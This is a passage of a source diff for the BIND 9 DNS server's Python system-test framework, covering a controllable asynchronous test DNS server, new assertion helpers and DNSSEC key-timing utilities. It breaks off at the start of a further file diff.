installed at the end of the response handler - list unless `prepend` is set to True, in which case it is installed at - the beginning of the response handler list. - """ - logging.info("Installing response handler: %s", handler) - if prepend: - self._response_handlers.insert(0, handler) - else: - self._response_handlers.append(handler) - - def install_response_handlers(self, *handlers: ResponseHandler) -> None: - for handler in handlers: - self.install_response_handler(handler) - - def replace_response_handlers(self, *new_handlers: ResponseHandler) -> None: - """ - Uninstall all currently installed handlers and install the provided ones. - """ - logging.info("Uninstalling response handlers: %s", str(self._response_handlers)) - self._response_handlers.clear() - self.install_response_handlers(*new_handlers) - - def uninstall_response_handler(self, handler: ResponseHandler) -> None: - """ - Remove the specified handler from the list of response handlers. - """ - logging.info("Uninstalling response handler: %s", handler) - self._response_handlers.remove(handler) - - def install_connection_handler(self, handler: ConnectionHandler) -> None: - """ - Install a connection handler that will be called when a new TCP - connection is established. - """ - if self._connection_handler: - raise RuntimeError("Only one connection handler can be installed") - self._connection_handler = handler - - def _load_zones(self) -> None: - for entry in os.scandir(): - entry_path = pathlib.Path(entry.path) - if entry_path.suffix != ".db": - continue - zone = self._load_zone(entry_path) - self._zone_tree.add(zone) - - def _load_zone(self, zone_file_path: pathlib.Path) -> dns.zone.Zone: - logging.info("Loading zone file %s", zone_file_path) - zone = self._load_zone_file(zone_file_path) - self._abort_if_dname_found_unless_acknowledged(zone) - return zone - - def _load_zone_file(self, zone_file_path: pathlib.Path) -> dns.zone.Zone: - try: - zone = self._load_zone_file_with_origin(zone_file_path) - except dns.zone.UnknownOrigin: - zone = self._load_zone_file_without_origin(zone_file_path) - - return zone - - def _load_zone_file_with_origin( - self, zone_file_path: pathlib.Path - ) -> dns.zone.Zone: - zone = dns.zone.from_file(str(zone_file_path), origin=None, relativize=False) - if zone.origin != dns.name.root: - error = "only the root zone may use $ORIGIN in the zone file; " - error += "for every other zone, its origin is determined by " - error += "the name of the file it is loaded from" - raise ValueError(error) - return zone - - def _load_zone_file_without_origin( - self, zone_file_path: pathlib.Path - ) -> dns.zone.Zone: - origin = dns.name.from_text(zone_file_path.stem) - return dns.zone.from_file(str(zone_file_path), origin=origin, relativize=False) - - def _abort_if_dname_found_unless_acknowledged(self, zone: dns.zone.Zone) -> None: - if self._acknowledge_manual_dname_handling: - return - - error = f'DNAME records found in zone "{zone.origin}"; ' - error += "this server does not handle DNAME in a standards-compliant way; " - error += "pass `acknowledge_manual_dname_handling=True` to the " - error += "AsyncDnsServer constructor to acknowledge this and load zone anyway" - - for node in zone.nodes.values(): - for rdataset in node: - if rdataset.rdtype == dns.rdatatype.DNAME: - raise ValueError(error) - - async def _handle_udp( - self, wire: bytes, addr: tuple[str, int], transport: asyncio.DatagramTransport - ) -> None: - logging.debug("Received UDP message: %s", wire.hex()) - socket_info = transport.get_extra_info("sockname") - socket = Peer(socket_info[0], socket_info[1]) - peer = Peer(addr[0], addr[1]) - responses = self._handle_query(wire, socket, peer, DnsProtocol.UDP) - async for response in responses: - logging.debug("Sending UDP message: %s", response.hex()) - transport.sendto(response, addr) - - async def _handle_tcp( - self, reader: asyncio.StreamReader, writer: asyncio.StreamWriter - ) -> None: - peer_info = writer.get_extra_info("peername") - peer = Peer(peer_info[0], peer_info[1]) - logging.debug("Accepted TCP connection from %s", peer) - - try: - if self._connection_handler: - await self._connection_handler.handle(reader, writer, peer) - while True: - wire = await self._read_tcp_query(reader, peer) - if not wire: - break - await self._send_tcp_response(writer, peer, wire) - except _ConnectionTeardownRequested: - pass - except ConnectionResetError: - logging.error("TCP connection from %s reset by peer", peer) - return - - logging.debug("Closing TCP connection from %s", peer) - writer.close() - try: - # Python >= 3.7 - await writer.wait_closed() - except AttributeError: - # Python < 3.7 - pass - - async def _read_tcp_query( - self, reader: asyncio.StreamReader, peer: Peer - ) -> bytes | None: - wire_length = await self._read_tcp_query_wire_length(reader, peer) - if not wire_length: - return None - - return await self._read_tcp_query_wire(reader, peer, wire_length) - - async def _read_tcp_query_wire_length( - self, reader: asyncio.StreamReader, peer: Peer - ) -> int | None: - logging.debug("Receiving TCP message length from %s...", peer) - - wire_length_bytes = await self._read_tcp_octets(reader, peer, 2) - if not wire_length_bytes: - return None - - return int.from_bytes(wire_length_bytes, byteorder="big") - - async def _read_tcp_query_wire( - self, reader: asyncio.StreamReader, peer: Peer, wire_length: int - ) -> bytes | None: - logging.debug("Receiving TCP message (%d octets) from %s...", wire_length, peer) - - wire = await self._read_tcp_octets(reader, peer, wire_length) - if not wire: - return None - - logging.debug("Received complete TCP message from %s: %s", peer, wire.hex()) - - return wire - - async def _read_tcp_octets( - self, reader: asyncio.StreamReader, peer: Peer, expected: int - ) -> bytes | None: - buffer = b"" - - while len(buffer) < expected: - chunk = await reader.read(expected - len(buffer)) - if not chunk: - if buffer: - logging.debug( - "Received short TCP message (%d octets) from %s: %s", - len(buffer), - peer, - buffer.hex(), - ) - else: - logging.debug("Received disconnect from %s", peer) - return None - - logging.debug("Received %d TCP octets from %s", len(chunk), peer) - buffer += chunk - - return buffer - - async def _send_tcp_response( - self, writer: asyncio.StreamWriter, peer: Peer, wire: bytes - ) -> None: - socket_info = writer.get_extra_info("sockname") - socket = Peer(socket_info[0], socket_info[1]) - responses = self._handle_query(wire, socket, peer, DnsProtocol.TCP) - async for response in responses: - logging.debug("Sending TCP response: %s", response.hex()) - writer.write(response) - await writer.drain() - - def _log_query(self, qctx: QueryContext) -> None: - logging.info( - "Received %s/%s/%s (ID=%d) query from %s on %s (%s)", - qctx.qname.to_text(omit_final_dot=True), - dns.rdataclass.to_text(qctx.qclass), - dns.rdatatype.to_text(qctx.qtype), - qctx.query.id, - qctx.peer, - qctx.socket, - qctx.protocol.name, - ) - logging.debug( - "\n".join([f"[IN] {l}" for l in [""] + str(qctx.query).splitlines()]) - ) - - def _log_response( - self, qctx: QueryContext, response: dns.message.Message | bytes | None - ) -> None: - if not response: - logging.info( - "Not sending a response to query (ID=%d) from %s on %s (%s)", - qctx.query.id, - qctx.peer, - qctx.socket, - qctx.protocol.name, - ) - return - - if isinstance(response, dns.message.Message): - try: - qname = response.question[0].name.to_text(omit_final_dot=True) - qclass = dns.rdataclass.to_text(response.question[0].rdclass) - qtype = dns.rdatatype.to_text(response.question[0].rdtype) - except IndexError: - qname = "" - qclass = "-" - qtype = "-" - - logging.info( - "Sending %s/%s/%s (ID=%d) response (%d/%d/%d/%d) to a query (ID=%d) from %s on %s (%s)", - qname, - qclass, - qtype, - response.id, - len(response.question), - len(response.answer), - len(response.authority), - len(response.additional), - qctx.query.id, - qctx.peer, - qctx.socket, - qctx.protocol.name, - ) - try: - response_text = str(response) - except OverflowError: - response_text = "" - logging.debug( - "\n".join([f"[OUT] {l}" for l in [""] + response_text.splitlines()]) - ) - return - - logging.info( - "Sending response (%d bytes) to a query (ID=%d) from %s on %s (%s)", - len(response), - qctx.query.id, - qctx.peer, - qctx.socket, - qctx.protocol.name, - ) - logging.debug("[OUT] %s", response.hex()) - - def _prepare_response_wire( - self, qctx: QueryContext, response: dns.message.Message | bytes | None - ) -> bytes | None: - def prepend_length_unless_udp(payload: bytes) -> bytes: - if qctx.protocol == DnsProtocol.UDP: - return payload - return len(payload).to_bytes(2, byteorder="big") + payload - - match response: - case dns.message.Message(wire=bytes() as payload) | (bytes() as payload): - # Calling to_wire() on a Message again may result in a different TSIG - # signature being generated, which would be incorrect. - return prepend_length_unless_udp(payload) - case dns.message.Message(wire=None): - return prepend_length_unless_udp(response.to_wire(max_size=65535)) - case _: - return None - - async def _handle_query( - self, wire: bytes, socket: Peer, peer: Peer, protocol: DnsProtocol - ) -> AsyncGenerator[bytes, None]: - """ - Yield wire data to send as a response over the established transport. - """ - try: - query = self._parse_message(wire) - except dns.exception.DNSException as exc: - logging.error("Invalid query from %s (%s): %s", peer, wire.hex(), exc) - return - response_stub = _make_asyncserver_response(query) - qctx = QueryContext(query, response_stub, socket, peer, protocol) - self._log_query(qctx) - responses = self._prepare_responses(qctx) - async for response in responses: - # Call _prepare_response_wire before logging the response, so that TSIG - # records are properly included in the logged response. - response_wire = self._prepare_response_wire(qctx, response) - self._log_response(qctx, response) - if response_wire is not None: - yield response_wire - - def _parse_message(self, wire: bytes) -> dns.message.Message: - try: - if isinstance(self._keyring, _NoKeyringType): - keyring = None - else: - keyring = self._keyring - return dns.message.from_wire(wire, keyring=keyring) - except dns.message.UnknownTSIGKey as exc: - if isinstance(self._keyring, _NoKeyringType): - error = "TSIG-signed query received but no `keyring` was provided; " - error += "either provide a keyring (in which case the server will " - error += "ignore any TSIG-invalid queries), or set `keyring=None` " - error += "explicitly to disable TSIG validation altogether. " - error += "This requires some hacking around a dnspython bug, " - error += "so there may be unexpected side effects." - raise ValueError(error) from exc - if self._keyring is None: - return _DnsMessageWithTsigDisabled.from_wire(wire) - raise - - async def _prepare_responses( - self, qctx: QueryContext - ) -> AsyncGenerator[dns.message.Message | bytes | None, None]: - """ - Yield response(s) either from response handlers or zone data. - """ - qctx.response.set_rcode(self._default_rcode) - if self._default_aa: - qctx.response.flags |= dns.flags.AA - qctx.save_initialized_response(with_zone_data=False) - - self._prepare_response_from_zone_data(qctx) - qctx.save_initialized_response(with_zone_data=True) - - response_handled = False - async for action in self._run_response_handlers(qctx): - yield await action.perform() - response_handled = True - - if not response_handled: - logging.debug("Responding based on zone data") - yield qctx.response - - def _prepare_response_from_zone_data(self, qctx: QueryContext) -> None: - """ - Prepare a response to the query based on the available zone data. - - The functionality is split across smaller functions that modify the - query context until a proper response is formed. - """ - if self._refused_response(qctx): - return - - if self._delegation_response(qctx): - return - - qctx.response.flags |= dns.flags.AA - - if self._ent_response(qctx): - return - - if self._nxdomain_response(qctx): - return - - if self._cname_response(qctx): - return - - if self._nodata_response(qctx): - return - - self._noerror_response(qctx) - - def _refused_response(self, qctx: QueryContext) -> bool: - zone = self._zone_tree.find_best_zone(qctx.current_qname) - if zone: - qctx.zone = zone - return False - - # RCODE is already set to self._default_rcode, i.e. REFUSED by default; - # it should also not be changed when following a CNAME chain - return True - - def _delegation_response(self, qctx: QueryContext) -> bool: - assert qctx.zone - - name = qctx.current_qname - delegation = None - - while name != qctx.zone.origin: - node = qctx.zone.get_node(name) - if node: - delegation = node.get_rdataset(qctx.qclass, dns.rdatatype.NS) - if delegation: - break - name = name.parent() - - if not delegation: - return False - - delegation_rrset = dns.rrset.RRset(name, qctx.qclass, dns.rdatatype.NS) - delegation_rrset.update(delegation) - - qctx.response.set_rcode(dns.rcode.NOERROR) - qctx.response.authority.append(delegation_rrset) - - self._delegation_response_additional(qctx) - - return True - - def _delegation_response_additional(self, qctx: QueryContext) -> None: - assert qctx.zone - assert qctx.response.authority[0] - - for nameserver in qctx.response.authority[0]: - if not nameserver.target.is_subdomain(qctx.response.authority[0].name): - continue - glue_a = qctx.zone.get_rrset(nameserver.target, dns.rdatatype.A) - if glue_a: - qctx.response.additional.append(glue_a) - glue_aaaa = qctx.zone.get_rrset(nameserver.target, dns.rdatatype.AAAA) - if glue_aaaa: - qctx.response.additional.append(glue_aaaa) - - def _ent_response(self, qctx: QueryContext) -> bool: - assert qctx.zone - assert qctx.zone.origin - - qctx.soa = qctx.zone.find_rrset(qctx.zone.origin, dns.rdatatype.SOA) - assert qctx.soa - - qctx.node = qctx.zone.get_node(qctx.current_qname) - if qctx.node or not any( - n for n in qctx.zone.nodes if n.is_subdomain(qctx.current_qname) - ): - return False - - qctx.response.set_rcode(dns.rcode.NOERROR) - qctx.response.authority.append(qctx.soa) - return True - - def _nxdomain_response(self, qctx: QueryContext) -> bool: - assert qctx.soa - - if qctx.node: - return False - - qctx.response.set_rcode(dns.rcode.NXDOMAIN) - qctx.response.authority.append(qctx.soa) - return True - - def _cname_response(self, qctx: QueryContext) -> bool: - assert qctx.node - - cname = qctx.node.get_rdataset(qctx.qclass, dns.rdatatype.CNAME) - if not cname: - return False - - qctx.response.set_rcode(dns.rcode.NOERROR) - cname_rrset = dns.rrset.RRset(qctx.current_qname, qctx.qclass, cname.rdtype) - cname_rrset.update(cname) - qctx.response.answer.append(cname_rrset) - - qctx.alias = cname[0].target - self._prepare_response_from_zone_data(qctx) - return True - - def _nodata_response(self, qctx: QueryContext) -> bool: - assert qctx.node - assert qctx.soa - - qctx.answer = qctx.node.get_rdataset(qctx.qclass, qctx.qtype) - if qctx.answer: - return False - - qctx.response.set_rcode(dns.rcode.NOERROR) - if not qctx.response.answer: - qctx.response.authority.append(qctx.soa) - return True - - def _noerror_response(self, qctx: QueryContext) -> None: - assert qctx.answer - - answer_rrset = dns.rrset.RRset(qctx.current_qname, qctx.qclass, qctx.qtype) - answer_rrset.update(qctx.answer) - - qctx.response.set_rcode(dns.rcode.NOERROR) - qctx.response.answer.append(answer_rrset) - - async def _run_response_handlers( - self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: - """ - Yield response(s) to the query from a matching query handler. - """ - for handler in self._response_handlers: - if handler.match(qctx): - logging.debug("Matched response handler: %s", handler) - async for response in handler.get_responses(qctx): - yield response - return - - -class ControllableAsyncDnsServer(AsyncDnsServer): - """ - An AsyncDnsServer whose behavior can be dynamically changed by sending TXT - queries to a "magic" domain. - """ - - _CONTROL_DOMAIN = "_control." - - @functools.cached_property - def _control_domain(self) -> dns.name.Name: - return dns.name.from_text(self._CONTROL_DOMAIN) - - @functools.cached_property - def _commands(self) -> dict[dns.name.Name, "ControlCommand"]: - return {} - - def install_control_commands(self, *commands: "ControlCommand") -> None: - for command in commands: - self.install_control_command(command) - - def install_control_command(self, command: "ControlCommand") -> None: - command_subdomain = dns.name.Name([command.control_subdomain]) - control_subdomain = command_subdomain.concatenate(self._control_domain) - try: - existing_command = self._commands[control_subdomain] - except KeyError: - self._commands[control_subdomain] = command - else: - raise RuntimeError( - f"{control_subdomain} already handled by {existing_command}" - ) - - async def _prepare_responses( - self, qctx: QueryContext - ) -> AsyncGenerator[dns.message.Message | bytes | None, None]: - """ - Detect and handle control queries, falling back to normal processing - for non-control queries. - """ - control_response = self._handle_control_command(qctx) - if control_response: - yield await DnsResponseSend(response=control_response).perform() - return - - async for response in super()._prepare_responses(qctx): - yield response - - def _handle_control_command(self, qctx: QueryContext) -> dns.message.Message | None: - """ - Detect and handle control queries. - - A control query must be of type TXT; if it is not, a FORMERR response - is sent back. - - The list of commands that the server should respond to is passed to its - constructor. If the server is unable to handle the control query using - any of the enabled commands, an NXDOMAIN response is sent. - - Otherwise, the relevant command's handler is expected to provide the - response via qctx.response and/or return a string that is converted to - a TXT RRset inserted into the ANSWER section of the response to the - control query. The RCODE for a command-provided response defaults to - NOERROR, but can be overridden by the command's handler. - """ - if not qctx.qname.is_subdomain(self._control_domain): - return None - - if qctx.qtype != dns.rdatatype.TXT: - logging.error("Non-TXT control query %s from %s", qctx.qname, qctx.peer) - qctx.response.set_rcode(dns.rcode.FORMERR) - return qctx.response - - control_subdomain = dns.name.Name(qctx.qname.labels[-3:]) - try: - command = self._commands[control_subdomain] - except KeyError: - logging.error("Unhandled control query %s from %s", qctx.qname, qctx.peer) - qctx.response.set_rcode(dns.rcode.NXDOMAIN) - return qctx.response - - logging.info("Received control query %s from %s", qctx.qname, qctx.peer) - logging.debug("Handling control query %s using %s", qctx.qname, command) - qctx.response.set_rcode(dns.rcode.NOERROR) - qctx.response.flags |= dns.flags.AA - - command_qname = qctx.qname.relativize(control_subdomain) - try: - command_args = [l.decode("ascii") for l in command_qname.labels] - except UnicodeDecodeError: - logging.error("Non-ASCII control query %s from %s", qctx.qname, qctx.peer) - qctx.response.set_rcode(dns.rcode.FORMERR) - return qctx.response - - command_response = command.handle(command_args, self, qctx) - if command_response: - command_response_rrset = dns.rrset.from_text( - qctx.qname, 0, qctx.qclass, dns.rdatatype.TXT, f'"{command_response}"' - ) - qctx.response.answer.append(command_response_rrset) - - return qctx.response - - -class ControlCommand(abc.ABC): - """ - Base class for control commands. - - The derived class must define the control query subdomain that it handles - and the callback that handles the control queries. - """ - - @property - @abc.abstractmethod - def control_subdomain(self) -> str: - """ - The subdomain of the control domain handled by this command. Needs to - be defined as a string by the derived class. - """ - raise NotImplementedError - - @abc.abstractmethod - def handle( - self, args: list[str], server: ControllableAsyncDnsServer, qctx: QueryContext - ) -> str | None: - """ - This method is expected to carry out arbitrary actions in response to a - control query. Note that it is invoked synchronously (it is not a - coroutine). - - `args` is a list of arguments for the command extracted from the - control query's QNAME; these arguments (and therefore the QNAME as - well) must only contain ASCII characters. For example, if a command's - subdomain is `my-command`, control query `foo.bar.my-command._control.` - causes `args` to be set to `["foo", "bar"]` while control query - `my-command._control.` causes `args` to be set to `[]`. - - `server` is the server instance that received the control query. This - method can change the server's behavior by altering its response - handler list using the appropriate methods. - - `qctx` is the query context for the control query. By operating on - qctx.response, this method can prepare the DNS response sent to - the client in response to the control query. Alternatively (or in - addition to the above), it can also return a string; if it does, the - returned string is converted to a TXT RRset that is inserted into the - ANSWER section of the response to the control query. - """ - raise NotImplementedError - - def __str__(self) -> str: - return self.__class__.__name__ - - -class ToggleResponsesCommand(ControlCommand): - """ - Disable/enable sending responses from the server. - """ - - control_subdomain = "send-responses" - - def __init__(self) -> None: - self._current_handler: IgnoreAllQueries | None = None - - def handle( - self, args: list[str], server: ControllableAsyncDnsServer, qctx: QueryContext - ) -> str | None: - if len(args) != 1: - logging.error("Invalid %s query %s", self, qctx.qname) - qctx.response.set_rcode(dns.rcode.SERVFAIL) - return "invalid query; use exactly one of 'enable' or 'disable' in QNAME" - - mode = args[0] - - if mode == "disable": - if self._current_handler: - return "sending responses already disabled" - self._current_handler = IgnoreAllQueries() - server.install_response_handler(self._current_handler, prepend=True) - return "sending responses disabled" - - if mode == "enable": - if not self._current_handler: - return "sending responses already enabled" - server.uninstall_response_handler(self._current_handler) - self._current_handler = None - return "sending responses enabled" - - logging.error("Unrecognized response sending mode '%s'", mode) - qctx.response.set_rcode(dns.rcode.SERVFAIL) - return f"unrecognized response sending mode '{mode}'" - - -class SwitchControlCommand(ControlCommand): - """ - Switch the server's response handlers based on the control query. - - A sequence of response handlers is associated with each key. When a - control query is received, the server's response handlers are replaced - with the sequence associated with the key extracted from the control - query. - """ - - control_subdomain = "switch" - - def __init__(self, handler_mapping: dict[str, Sequence[ResponseHandler]]): - self._handler_mapping = handler_mapping - - def handle( - self, args: list[str], server: ControllableAsyncDnsServer, qctx: QueryContext - ) -> str | None: - if len(args) != 1 or args[0] not in self._handler_mapping: - logging.error("Invalid %s query %s", self, qctx.qname) - qctx.response.set_rcode(dns.rcode.SERVFAIL) - return f"invalid query; exactly one of {list(self._handler_mapping.keys())} is expected in QNAME" - - server.replace_response_handlers(*self._handler_mapping[args[0]]) - return f"switched to handler set '{args[0]}'" diff -Nru bind9-9.20.29/bin/tests/system/isctest/check.py bind9-9.20.30/bin/tests/system/isctest/check.py --- bind9-9.20.29/bin/tests/system/isctest/check.py 2026-09-11 19:41:01.228324456 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/check.py 2026-10-12 13:12:08.128893946 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -12,6 +12,7 @@ from typing import cast import difflib +import os import shutil from dns.edns import EDECode, EDEOption @@ -85,7 +86,9 @@ def _extract_ede_options( message: dns.message.Message, ) -> list[EDEOption]: - """Extract EDE options from the DNS message.""" + """ + Extract EDE options from the DNS message. + """ return cast( list[EDEOption], [ @@ -97,13 +100,17 @@ def noede(message: dns.message.Message) -> None: - """Check that message contains no EDE option.""" + """ + Check that message contains no EDE option. + """ ede_options = _extract_ede_options(message) assert not ede_options, f"unexpected EDE options {ede_options} in {message}" def ede(message: dns.message.Message, code: EDECode, text: str | None = None) -> None: - """Check if message contains expected EDE code (and its text).""" + """ + Check if message contains expected EDE code (and its text). + """ msg_opts = _extract_ede_options(message) matching_opts = [opt for opt in msg_opts if opt.code == code] @@ -150,7 +157,9 @@ second_rrset: dns.rrset.RRset, compare_ttl: bool | None = False, ) -> None: - """Compare two RRset (optionally including TTL)""" + """ + Compare two RRset (optionally including TTL) + """ def compare_rrs(rr1, rrset): rr2 = next((other_rr for other_rr in rrset if rr1 == other_rr), None) @@ -179,7 +188,9 @@ second_zone: dns.zone.Zone, compare_ttl: bool | None = False, ) -> None: - """Compare two zones (optionally including TTL)""" + """ + Compare two zones (optionally including TTL) + """ isctest.log.debug( "%s() first zone:\n%s", @@ -229,6 +240,26 @@ assert not message.answer, str(message) +def empty_authority(message: dns.message.Message) -> None: + assert not message.authority, str(message) + + +def empty_additional(message: dns.message.Message) -> None: + assert not message.additional, str(message) + + +def has_answer(message: dns.message.Message) -> None: + assert message.answer, str(message) + + +def has_authority(message: dns.message.Message) -> None: + assert message.authority, str(message) + + +def has_additional(message: dns.message.Message) -> None: + assert message.additional, str(message) + + def rr_count_eq(section: list, expected: int): # NOTE: OPT and TSIG records aren't included in the count for ADDITIONAL section count = sum(len(rrset) for rrset in section) @@ -260,3 +291,7 @@ assert not line.startswith("+ ") and not line.startswith( "- " ), f'file contents of "{file1}" and "{file2}" differ' + + +def file_empty(file): + assert os.path.getsize(file) == 0 diff -Nru bind9-9.20.29/bin/tests/system/isctest/hypothesis/__init__.py bind9-9.20.30/bin/tests/system/isctest/hypothesis/__init__.py --- bind9-9.20.29/bin/tests/system/isctest/hypothesis/__init__.py 2026-09-11 19:41:01.228324456 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/hypothesis/__init__.py 2026-10-12 13:12:08.128893946 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/isctest/hypothesis/settings.py bind9-9.20.30/bin/tests/system/isctest/hypothesis/settings.py --- bind9-9.20.29/bin/tests/system/isctest/hypothesis/settings.py 2026-09-11 19:41:01.229324480 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/hypothesis/settings.py 2026-10-12 13:12:08.128893946 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/isctest/hypothesis/strategies.py bind9-9.20.30/bin/tests/system/isctest/hypothesis/strategies.py --- bind9-9.20.29/bin/tests/system/isctest/hypothesis/strategies.py 2026-09-11 19:41:01.229324480 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/hypothesis/strategies.py 2026-10-12 13:12:08.129893967 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/isctest/instance.py bind9-9.20.30/bin/tests/system/isctest/instance.py --- bind9-9.20.29/bin/tests/system/isctest/instance.py 2026-09-11 19:41:01.229324480 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/instance.py 2026-10-12 13:12:08.129893967 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -64,12 +62,16 @@ @property @abc.abstractmethod def log_filename(self) -> str: - """Name of the log file in the instance's directory.""" + """ + Name of the log file in the instance's directory. + """ @property @abc.abstractmethod def identifier_prefix(self) -> str: - """Directory name prefix used to derive the numeric identifier.""" + """ + Directory name prefix used to derive the numeric identifier. + """ def __init__(self, identifier: str, num: int | None = None) -> None: """ @@ -91,7 +93,9 @@ @property def ip(self) -> str: - """IPv4 address of the instance.""" + """ + IPv4 address of the instance. + """ return f"10.53.0.{self.num}" @classmethod @@ -126,7 +130,9 @@ return WatchLogFromHere(self.log.path, timeout) def stop(self, args: list[str] | None = None) -> None: - """Stop the instance.""" + """ + Stop the instance. + """ args = args or [] perl( f"{os.environ['srcdir']}/stop.pl", @@ -134,7 +140,9 @@ ) def start(self, args: list[str] | None = None) -> None: - """Start the instance.""" + """ + Start the instance. + """ args = args or [] perl( f"{os.environ['srcdir']}/start.pl", @@ -180,7 +188,9 @@ @property def rndc_args(self) -> str: - """Base arguments for calling RNDC to control the instance.""" + """ + Base arguments for calling RNDC to control the instance. + """ return f"-c {self._rndc_conf} -s {self.ip} -p {self.ports.rndc}" def rndc(self, command: str, timeout=10, **kwargs) -> CmdResult: diff -Nru bind9-9.20.29/bin/tests/system/isctest/kasp.py bind9-9.20.30/bin/tests/system/isctest/kasp.py --- bind9-9.20.29/bin/tests/system/isctest/kasp.py 2026-09-11 19:41:01.229324480 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/kasp.py 2026-10-12 13:12:08.129893967 +0000 @@ -3,12 +3,13 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. +from dataclasses import dataclass from datetime import datetime, timedelta, timezone from functools import total_ordering from pathlib import Path @@ -29,6 +30,7 @@ from isctest.algorithms import ALL_ALGORITHMS_BY_NUM, ECDSAP256SHA256, Algorithm from isctest.instance import NamedInstance +from isctest.run import EnvCmd from isctest.zone import FileZoneKey import isctest.log @@ -315,6 +317,64 @@ self.timing["ZRRSIGChange"] = None +# pylint: disable=invalid-name +@dataclass +class SettimeOptions: + + P: str | None = None + """-P date/[+-]offset/none: set/unset key publication date""" + + P_ds: str | None = None + """-P ds date/[+-]offset/none: set/unset DS publication date""" + + P_sync: str | None = None + """-P sync date/[+-]offset/none: set/unset CDS and CDNSKEY publication date""" + + A: str | None = None + """-A date/[+-]offset/none: set/unset key activation date""" + + R: str | None = None + """-R date/[+-]offset/none: set/unset key revocation date""" + + I: str | None = None + """-I date/[+-]offset/none: set/unset key inactivation date""" + + D: str | None = None + """-D date/[+-]offset/none: set/unset key deletion date""" + + D_ds: str | None = None + """-D ds date/[+-]offset/none: set/unset DS deletion date""" + + D_sync: str | None = None + """-D sync date/[+-]offset/none: set/unset CDS and CDNSKEY deletion date""" + + g: str | None = None + """-g state: set the goal state for this key""" + + d: str | None = None + """-d state date/[+-]offset: set the DS state""" + + k: str | None = None + """-k state date/[+-]offset: set the DNSKEY state""" + + r: str | None = None + """-r state date/[+-]offset: set the RRSIG (KSK) state""" + + z: str | None = None + """-z state date/[+-]offset: set the RRSIG (ZSK) state""" + + def __str__(self): + args = [] + for opt, value in self.__dict__.items(): + if value is None: + continue + if not isinstance(value, str): + raise ValueError(f"{opt}: invalid option value, only string supported") + opt_str = opt.replace("_", " ") + args.append(f"-{opt_str} {value}") + return " ".join(args) + + @total_ordering class Key(FileZoneKey): """ @@ -434,6 +494,13 @@ def is_zsk(self) -> bool: return self.get_metadata("ZSK") == "yes" + def role(self) -> str: + if self.is_ksk() and self.is_zsk(): + return "CSK" + if self.is_ksk(): + return "KSK" + return "ZSK" + @property def algorithm(self) -> Algorithm: num = int(self.get_metadata("Algorithm")) @@ -668,6 +735,14 @@ return True + def settime(self, options: SettimeOptions, with_state=True): + if with_state: + settime_cmd = EnvCmd("SETTIME", "-s") + else: + settime_cmd = EnvCmd("SETTIME") + + settime_cmd(f"{options} {self.path}") + def __lt__(self, other: "Key"): return self.name < other.name @@ -813,10 +888,15 @@ isctest.run.retry_with_timeout(_verify_zone, timeout=60, msg="zone not verified") -def check_dnssecstatus(server, zone, keys, policy=None, view=None): +def check_dnssecstatus(server, zone, keys, policy=None, view=None, verbose=False): # Call rndc dnssec -status on 'server' for 'zone'. Expect 'policy' in # the output. This is a loose verification, it just tests if the right # policy name is returned, and if all expected keys are listed. + # + # The verbose parameter is accepted for call compatibility with newer + # branches; rndc dnssec -status has no -v option here, so it is ignored. + if verbose: + isctest.log.debug("check_dnssecstatus: verbose output not supported here") response = "" if view is None: response = server.rndc(f"dnssec -status {zone}") diff -Nru bind9-9.20.29/bin/tests/system/isctest/log/__init__.py bind9-9.20.30/bin/tests/system/isctest/log/__init__.py --- bind9-9.20.29/bin/tests/system/isctest/log/__init__.py 2026-09-11 19:41:01.229324480 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/log/__init__.py 2026-10-12 13:12:08.129893967 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru 